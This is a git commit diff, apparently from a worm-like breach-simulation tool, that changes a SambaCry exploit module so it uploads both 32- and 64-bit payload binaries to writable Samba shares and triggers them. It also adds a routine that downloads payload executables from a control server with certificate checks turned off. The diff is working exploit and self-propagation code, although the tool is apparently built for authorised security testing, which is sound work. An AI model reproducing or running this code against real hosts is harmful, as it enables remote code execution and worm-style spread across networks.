SambaCry now works for both 32,64bit

This commit is contained in:
Itay Mizeretz 2017-09-03 11:50:01 +03:00
parent c612ea0361
commit c8d7a2c4d3
3 changed files with 93 additions and 29 deletions

View File

@ -156,11 +156,80 @@ class ControlClient(object):
@staticmethod
def download_monkey_exe(host):
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host)
if filename is None:
return None
return ControlClient.download_monkey_exe_by_filename(filename, size)
@staticmethod
def download_monkey_exe_by_os(is_windows, is_32bit):
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
ControlClient.spoof_host_os_info(is_windows, is_32bit))
if filename is None:
return None
return ControlClient.download_monkey_exe_by_filename(filename, size)
@staticmethod
def spoof_host_os_info(is_windows, is_32bit):
if is_windows:
os = "windows"
if is_32bit:
arc = "x86"
else:
arc = "amd64"
else:
os = "linux"
if is_32bit:
arc = "i686"
else:
arc = "x86_64"
return \
{
"os":
{
"type": os,
"machine": arc
}
}
@staticmethod
def download_monkey_exe_by_filename(filename, size):
if not WormConfiguration.current_server:
return None
try:
dest_file = monkeyfs.virtual_path(filename)
if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
return dest_file
else:
download = requests.get("https://%s/api/monkey/download/%s" %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
with monkeyfs.open(dest_file, 'wb') as file_obj:
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
if chunk:
file_obj.write(chunk)
file_obj.flush()
if size == monkeyfs.getsize(dest_file):
return dest_file
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
@staticmethod
def get_monkey_exe_filename_and_size_by_host(host):
return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict())
@staticmethod
def get_monkey_exe_filename_and_size_by_host_dict(host_dict):
if not WormConfiguration.current_server:
return None, None
try:
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
data=json.dumps(host.as_dict()),
data=json.dumps(host_dict),
headers={'content-type': 'application/json'},
verify=False, proxies=ControlClient.proxies)
@ -168,30 +237,17 @@ class ControlClient(object):
result_json = reply.json()
filename = result_json.get('filename')
if not filename:
return None
return None, None
size = result_json.get('size')
dest_file = monkeyfs.virtual_path(filename)
if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file):
return dest_file
else:
download = requests.get("https://%s/api/monkey/download/%s" %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
with monkeyfs.open(dest_file, 'wb') as file_obj:
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
if chunk:
file_obj.write(chunk)
file_obj.flush()
if size == monkeyfs.getsize(dest_file):
return dest_file
return filename, size
else:
return None, None
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return None
return None, None
@staticmethod
def create_control_tunnel():

View File

@ -18,7 +18,7 @@ import monkeyfs
from exploit import HostExploiter
from model import DROPPER_ARG
from network.smbfinger import SMB_SERVICE
from tools import build_monkey_commandline
from tools import build_monkey_commandline, get_target_monkey_by_os
__author__ = 'itay.mizeretz'
@ -30,12 +30,12 @@ class SambaCryExploiter(HostExploiter):
SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket:
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
"""
# TODO: is this credit sufficient?
_target_os_type = ['linux']
def __init__(self):
self._config = __import__('config').WormConfiguration
def exploit_host(self, host, depth=-1, src_path=None):
if not self.is_vulnerable(host):
return False
@ -47,7 +47,7 @@ class SambaCryExploiter(HostExploiter):
host.services[SMB_SERVICE]["shares"] = {}
for share in writable_shares_creds_dict:
host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]}
self.try_exploit_share(host, share, writable_shares_creds_dict[share], src_path, depth)
self.try_exploit_share(host, share, writable_shares_creds_dict[share], depth)
# Wait for samba server to load .so, execute code and create result file.
time.sleep(self._config.sambacry_trigger_timeout)
@ -70,7 +70,7 @@ class SambaCryExploiter(HostExploiter):
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
return False
def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth):
def try_exploit_share(self, host, share, creds, depth):
"""
Tries exploiting share
:param host: victim Host object
@ -81,7 +81,7 @@ class SambaCryExploiter(HostExploiter):
"""
try:
smb_client = self.connect_to_server(host.ip_addr, creds)
self.upload_module(smb_client, host, share, monkey_bin_src_path, depth)
self.upload_module(smb_client, host, share, depth)
self.trigger_module(smb_client, share)
smb_client.close()
except (impacket.smbconnection.SessionError, SessionError):
@ -238,7 +238,7 @@ class SambaCryExploiter(HostExploiter):
return writable
def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth):
def upload_module(self, smb_client, host, share, depth):
"""
Uploads the module and all relevant files to server
:param smb_client: smb client object
@ -258,8 +258,13 @@ class SambaCryExploiter(HostExploiter):
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read)
with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file:
# TODO: Fix or postpone 32/64 architecture problem.
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
monkey_bin_64_src_path = get_target_monkey_by_os(False, False)
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_32, monkey_bin_file.read)
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read)
smb_client.disconnectTree(tree_id)

View File

@ -442,6 +442,9 @@ def get_target_monkey(host):
return monkey_path
def get_target_monkey_by_os(is_windows, is_32bit):
from control import ControlClient
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
def build_monkey_commandline(target_host, depth, location=None):
from config import WormConfiguration, GUID